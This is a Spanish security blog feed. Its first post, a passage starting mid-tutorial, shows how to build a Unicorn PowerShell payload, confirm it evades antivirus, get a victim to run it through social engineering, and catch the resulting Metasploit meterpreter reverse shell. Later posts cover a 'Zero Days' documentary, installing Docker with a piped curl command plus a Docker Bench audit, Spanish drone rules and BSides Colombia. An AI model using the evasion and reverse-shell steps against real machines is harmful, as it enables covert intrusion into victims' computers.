Como resultado obtendremos 3 ficheros: 'powershell_attack.txt' que es el payload de Powershell, 'unicorn.rc' con las opciones del handler de Metasploit y 'unicorn.c' que viene a ser un programa que tan sólo lanza el payload con shellexecute.


El siguiente paso será compilar el código de 'unicorn.c' desde Windows (lc.exe), Linux (mono) o de forma online:



Finalmente subimos el ejecutable creado a un motor multi-AV (Virustotal por ej.) y comprobamos que no lo detecta ningún antivirus:


Sólo nos queda preparar el listener en nuestro equipo y usar un poco de ingeniería social para que nuestra víctima lo ejecute y poder obtener así un shell de forma silenciosa:

root@kali:/home/vmotos# msfconsole
msf > use exploit/multi/handler
msf exploit(handler) > set LHOST 192.168.1.201
LHOST => 192.168.1.201
msf exploit(handler) > set LPORT 8090
LPORT => 8091

msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(handler) > exploit 
[*] Started reverse handler on 192.168.1.201:8090
[*] Starting the payload handler...



[*] Sending stage (884270 bytes) to 192.168.1.8
[*] Meterpreter session 1 opened (192.168.1.201:8090 -> 192.168.1.8:61887) at 2015-07-20 02:45:49 +0200

meterpreter > systeminfo
[-] Unknown command: systeminfo.
meterpreter > sysinfo
Computer        : PCVICTIMA
OS              : Windows 7 (Build 7601, Service Pack 1).
Architecture    : x64 (Current Process is WOW64)
System Language : es_ES
Domain          : DOMINIO
Logged On Users : 3
Meterpreter     : x86/win32
meterpreter >


Fuente: http://www.securitytube.net/video/13260

'Zero Days', el documental

$
0
0
VPRO(el organismo de radiodifusión públicaholandesa) produjo un documental de 45 minutossobrehacking yel comercio de los 0-days. El documentalha sidopublicado enInglésen Youtube.

El documental cuenta con Charlie Miller, Joshua Corman, Katie Moussouris, Ronald Prins, Dan Tentler, Eric Rabe (de Hacking Team), Felix Lindner, Rodrigo Branco, Ben Nagy, El Grugq y muchos otros. ¿Subtítulos en español?

Instalando Docker en Kali Linux y echando un vistazo a su seguridad por defecto (Docker Bench for Security)

$
0
0
Docker nació en 2013 y básicamente es una plataforma para crear, distribuir y administrar aplicaciones Linux en contenedores. Utiliza la capacidad del kernel de Linux de crear entornos aislados como si fuera un "chroot con esteroides" y lo hace principalmente mediante:

- cgroups (desde la versión 2.6.29) que limita, controla y aísla el uso de los recursos (CPU, memoria, disco E/S, red, etc.) de un conjunto de procesos.
- namespaces que "envuelve" los procesos de una instancia aislada en espacios de nombres para abstraerlos de los recursos globales.

Las últimas versiones han introducido drivers y una librería llamada libcontainer, que ayuda a que Docker sea totalmente multiplataforma, teniendo compatibilidad con Windows y Mac OS X e incluso distintos servicios en la nube:


https://docs.docker.com/installation/

¿Por qué Docker mola tanto?

Piensa ¿para qué levantar una máquina virtual para ejecutar una determinada aplicación si podemos hacerlo simplemente desde un contenedor en nuestro sistema operativo de una forma mucho más transparente, rápida y liviana?

Docker además simplifica el despliegue y distribución de aplicaciones. Imagina la posibilidad de tener todo el entorno para la aplicación y publicar los cambios que se realicen fácilmente, además de hacer todo el despliegue en producción de una manera bastante fácil y profesional.

Las ventajas son claras y por eso Docker es tan popular. El uso de contenedores se está extendiendo poco a poco y cada vez más entre la comunidad TI así que nosotros también vamos a empezar a usar Docker y algunos contenedores interesantes...


Instalando y calentando motores... 

Empezamos instalándolo en Kali x64. Un comando y listo:

curl -sSL https://get.docker.io/ubuntu/ | sudo sh

Ahora comprobamos que se ha instalado correctamente:

# docker version
Client version: 1.7.1
Client API version: 1.19
Go version (client): go1.4.2
Git commit (client): 786b29d
OS/Arch (client): linux/amd64
Server version: 1.7.1
Server API version: 1.19
Go version (server): go1.4.2
Git commit (server): 786b29d
OS/Arch (server): linux/amd64


Y lanzamos Docker Bench Security, un script que comprueba una docena de buenas prácticas para desplegar contenedores Docker en producción.  Las pruebas están automatizadas y están inspiradas en el Benchmark CIS Docker 1.6:

root@kali:~/docker-bench-security# docker run -it --net host --pid host --cap-add audit_control \
>     -v /var/lib:/var/lib \
>     -v /var/run/docker.sock:/var/run/docker.sock \
>     -v /usr/lib/systemd:/usr/lib/systemd \
>     -v /etc:/etc --label docker-bench-security \
>     docker-bench-security
# ------------------------------------------------------------------------------
# Docker Bench for Security v1.0.0
#
# Docker, Inc. (c) 2015
#
# Checks for dozens of common best-practices around deploying Docker containers in production.
# Inspired by the CIS Docker 1.6 Benchmark:
# https://benchmarks.cisecurity.org/tools2/docker/CIS_Docker_1.6_Benchmark_v1.0.0.pdf
# ------------------------------------------------------------------------------

Initializing Thu Jul 23 01:52:16 CEST 2015


[INFO] 1 - Host Configuration
[WARN] 1.1  - Create a separate partition for containers
[PASS] 1.2  - Use an updated Linux Kernel
[PASS] 1.5  - Remove all non-essential services from the host - Network
[PASS] 1.6  - Keep Docker up to date
[INFO] 1.7  - Only allow trusted users to control Docker daemon
[INFO]      * docker:x:999:
[WARN] 1.8  - Failed to inspect: auditctl command not found.
[WARN] 1.9  - Failed to inspect: auditctl command not found.
[WARN] 1.10 - Failed to inspect: auditctl command not found.
[INFO] 1.11 - Audit Docker files and directories - docker-registry.service
[INFO]      * File not found
[INFO] 1.12 - Audit Docker files and directories - docker.service
[INFO]      * File not found
[WARN] 1.13 - Failed to inspect: auditctl command not found.
[INFO] 1.14 - Audit Docker files and directories - /etc/sysconfig/docker
[INFO]      * File not found
[INFO] 1.15 - Audit Docker files and directories - /etc/sysconfig/docker-network
[INFO]      * File not found
[INFO] 1.16 - Audit Docker files and directories - /etc/sysconfig/docker-registry
[INFO]      * File not found
[INFO] 1.17 - Audit Docker files and directories - /etc/sysconfig/docker-storage
[INFO]      * File not found
[WARN] 1.18 - Failed to inspect: auditctl command not found.


[INFO] 2 - Docker Daemon Configuration
[PASS] 2.1  - Do not use lxc execution driver
[WARN] 2.2  - Restrict network traffic between containers
[PASS] 2.3  - Set the logging level
[PASS] 2.4  - Allow Docker to make changes to iptables
[PASS] 2.5  - Do not use insecure registries
[INFO] 2.6  - Setup a local registry mirror
[INFO]      * No local registry currently configured
[WARN] 2.7  - Do not use the aufs storage driver
[PASS] 2.8  - Do not bind Docker to another IP/Port or a Unix socket
[INFO] 2.9  - Configure TLS authentication for Docker daemon
[INFO]      * Docker daemon not listening on TCP
[INFO] 2.10 - Set default ulimit as appropriate
[INFO]      * Default ulimit doesn't appear to be set


[INFO] 3 - Docker Daemon Configuration Files
[INFO] 3.1  - Verify that docker.service file ownership is set to root:root
[INFO]      * File not found
[INFO] 3.2  - Verify that docker.service file permissions are set to 644
[INFO]      * File not found
[INFO] 3.3  - Verify that docker-registry.service file ownership is set to root:root
[INFO]      * File not found
[INFO] 3.4  - Verify that docker-registry.service file permissions are set to 644
[INFO]      * File not found
[INFO] 3.5  - Verify that docker.socket file ownership is set to root:root
[INFO]      * File not found
[INFO] 3.6  - Verify that docker.socket file permissions are set to 644
[INFO]      * File not found
[INFO] 3.7  - Verify that Docker environment file ownership is set to root:root
[INFO]      * File not found
[INFO] 3.8  - Verify that Docker environment file permissions are set to 644
[INFO]      * File not found
[INFO] 3.9  - Verify that docker-network environment file ownership is set to root:root
[INFO]      * File not found
[INFO] 3.10 - Verify that docker-network environment file permissions are set to 644
[INFO]      * File not found
[INFO] 3.11 - Verify that docker-registry environment file ownership is set to root:root
[INFO]      * File not found
[INFO] 3.12 - Verify that docker-registry environment file permissions are set to 644
[INFO]      * File not found
[INFO] 3.13 - Verify that docker-storage environment file ownership is set to root:root
[INFO]      * File not found
[INFO] 3.14 - Verify that docker-storage environment file permissions are set to 644
[INFO]      * File not found
[PASS] 3.15 - Verify that /etc/docker directory ownership is set to root:root
[PASS] 3.16 - Verify that /etc/docker directory permissions are set to 755
[INFO] 3.17 - Verify that registry certificate file ownership is set to root:root
[INFO]      * Directory not found
[INFO] 3.18 - Verify that registry certificate file permissions are set to 444
[INFO]      * Directory not found
[INFO] 3.19 - Verify that TLS CA certificate file ownership is set to root:root
[INFO]      * No TLS CA certificate found
[INFO] 3.20 - Verify that TLS CA certificate file permissions are set to 444
[INFO]      * No TLS CA certificate found
[INFO] 3.21 - Verify that Docker server certificate file ownership is set to root:root
[INFO]      * No TLS Server certificate found
[INFO] 3.22 - Verify that Docker server certificate file permissions are set to 444
[INFO]      * No TLS Server certificate found
[INFO] 3.23 - Verify that Docker server key file ownership is set to root:root
[INFO]      * No TLS Key found
[INFO] 3.24 - Verify that Docker server key file permissions are set to 400
[INFO]      * No TLS Key found
[INFO] 3.25 - Verify that Docker socket file ownership is set to root:docker
[INFO]      * File not found
[INFO] 3.26 - Verify that Docker socket file permissions are set to 660
[INFO]      * File not found


[INFO] 4 - Container Images and Build Files
[WARN] 4.1  - Create a user for the container
[WARN]      * Running as root: 26aa8d74b869


[INFO] 5  - Container Runtime
[WARN] 5.1  - Verify AppArmor Profile, if applicable
[WARN]      * No AppArmorProfile Found: 26aa8d74b869
[WARN] 5.2  - Verify SELinux security options, if applicable
[WARN]      * No SecurityOptions Found: 26aa8d74b869
[WARN] 5.3  - Verify that containers are running only a single main process
[WARN]      * Too many proccesses running: 26aa8d74b869
[PASS] 5.4  - Restrict Linux Kernel Capabilities within containers
[PASS] 5.5  - Do not use privileged containers
[PASS] 5.6  - Do not mount sensitive host system directories on containers
[PASS] 5.7  - Do not run ssh within containers
[PASS] 5.8  - Do not map privileged ports within containers
[PASS] 5.10 - Do not use host network mode on container
[WARN] 5.11 - Limit memory usage for container
[WARN]      * Container running without memory restrictions: 26aa8d74b869
[WARN] 5.12 - Set container CPU priority appropriately
[WARN]      * Container running without CPU restrictions: 26aa8d74b869
[WARN] 5.13 - Mount container's root filesystem as read only
[WARN]      * Container running with root FS mounted R/W: 26aa8d74b869
[WARN] 5.14 - Bind incoming container traffic to a specific host interface
[WARN]      * Port being bound to wildcard IP: 0.0.0.0 in 26aa8d74b869
[PASS] 5.15 - Do not set the 'on-failure' container restart policy to always
[PASS] 5.16 - Do not share the host's process namespace
[PASS] 5.17 - Do not share the host's IPC namespace
[PASS] 5.18 - Do not directly expose host devices to containers
[INFO] 5.19 - Override default ulimit at runtime only if needed
[INFO]      * Container no default ulimit override: 26aa8d74b869


[INFO] 6  - Docker Security Operations
[INFO] 6.5 - Use a centralized and remote log collection service
[INFO]      * Container has no volumes, ensure centralized logging is enabled : 26aa8d74b869
[INFO] 6.6 - Avoid image sprawl
[INFO]      * There are currently: 3 images
[INFO] 6.7 - Avoid container sprawl
[INFO]      * There are currently a total of 2 containers, with 2 of them currently running


Cómo véis algunas cosas que mejorar, esto no ha hecho más que empezar...

¿Cuál es la normativa actual para volar drones en España?

$
0
0
Recientemente publicaron en Youtube un vídeo en el que se mostraba disparando a un dron casero multirotor con una pistola semiautomática integrada. Podéis imaginar el gran impacto y repercusión que tuvo este vídeo con el que (por fin) empezaron a vislumbrar los peligros del uso de drones en el plano civil. Seguramente cualquiera que acople un arma a un dron de menos de 100€ y lo eche a volar tendrá problemas pero, ¿qué es exactamente lo que podemos hacer de forma legal con los drones?
 
En España hace solo un año que el Gobierno aprobó de forma acelerada un decreto ley temporal. Concretamente desde julio de 2014, la Agencia Estatal de Seguridad Aérea (AESA) contempla los drones como aeronaves pilotadas por control remoto y regula su uso civil para fines comerciales. Eso sí, si el dron pesa más de 150 kg, deberemos remitirnos a la normativa de la EASA (European Aviation Safety Agency)


La siguiente infografía de la agencia EFE resume perfectamente la legislación actual en España hasta que se actualice la norma (antes de 2016):
  

Eso sí, si simplemente vamos a pilotar un dron para divertirnos, sin ningún fin comercial, legalmente no es un dron, sino un vehículo de radiocontrol, y está bajo la jurisdicción de la Real Federación Aeronáutica de España y de cada comunidad autónoma. Aunque en ese caso también hay restricciones. El aparato no puede volar a altitudes superiores a los 100 metros de altura, ni sobre núcleos urbanos o lugares habitados. De hacerlo, podríamos enfrentarnos a sanciones si alguien te denuncia. El uso deportivo o lúdico de drones será también regulado en la nueva normativa.

Fuentes:
- 'Drones' sí, pero seguros: el Gobierno aprueba una ley para regular su uso
 -Proyecto de Real Decreto por el que se regula la utilización civil de las aeronaves pilotadas por control remoto
- BOE del sábado 5 de julio de 2014
- Drones para dummies
- El ataque de los drones piratas
- La Normativa española de drones en la UE
- De territorio sin ley a tener tres: así están regulados los drones en España 
- Nueva normativa de drones – Abril 2015
- Nueva ley sobre el uso de drones en España
- ¿Está prohibido volar drones en España? Esta es la normativa
- La nueva normativa sobre drones estudia permitir su vuelo en zonas urbanas
- Drones: La legislación en España sobre sus vuelos

- Europa apuesta por los drones – legislación europea de drones 

Se acerca la II edición de BSides Colombia

$
0
0
En su segundo año, BSides Colombia sigue buscando proponer un evento diferente en Colombia que logre reunir a entusiastas, profesionales, novatos, estudiantes y todos los involucrados en seguridad de la información en un espacio dedicado al conocimiento y la innovación sobre este tema.

El 1 y 2 de Septiembre se abrirá este espacio con 3 entrenamientos; botnets 102, auditoria de contraseñas y pentesting con python, las cuales serán un espacio para que los asistentes puedan aprovechar al máximo entrenamientos de la más alta calidad a un valor especial creado para atraer a los seguidores de BSides Colombia.

El 3 y 4 de Septiembre empiezan las charlas, donde por medio de un CFP que estará abierto hasta el 31 de Julio, se esperan propuestas de investigación, nuevas herramientas, experiencias frente a seguridad de la información, que puedan generar el mejor ambiente de conocimiento, dentro de un evento informal, donde la investigación y el desarrollo de nuevas ideas inspire a los asistentes a vivir la seguridad como se debe... con pasión.

En la página principal de Security BSides se define el evento como un framework creado por la comunidad para construir eventos para y por los miembros de la comunidad de seguridad. Donde su objetivo sea expandir el espectro de la conversación mas allá de los confines tradicionales del tiempo y el espacio.

Bajo esta filosofía, este año BSides Colombia quiere ofrecer a todos los asistentes retos, espacios interactivos que permitan  una discusión real de cómo debe ser la seguridad dentro del entorno especifico del país y hacia donde se deben generar los nuevos desarrollos que permitan dar solución a problemáticas reales.

Este año el evento espera convertir a los asistentes de consumidores a practicantes de seguridad de la información generando una conciencia más amplia frente al sentido que tiene vivir la seguridad y no solo entrar a un consumo de productos de seguridad sin la claridad de las necesidades y amenazas que deben apoyar la decisión de ese consumo.

Con todas estas ideas los esperamos en BSides Colombia 2015 del 1 al 4 de Septiembre, toda la información se puede encontrar en www.b-sides.co.


El twitter del evento es: https://twitter.com/BSides_CO
Viewing all 1664 articles
Browse latest View live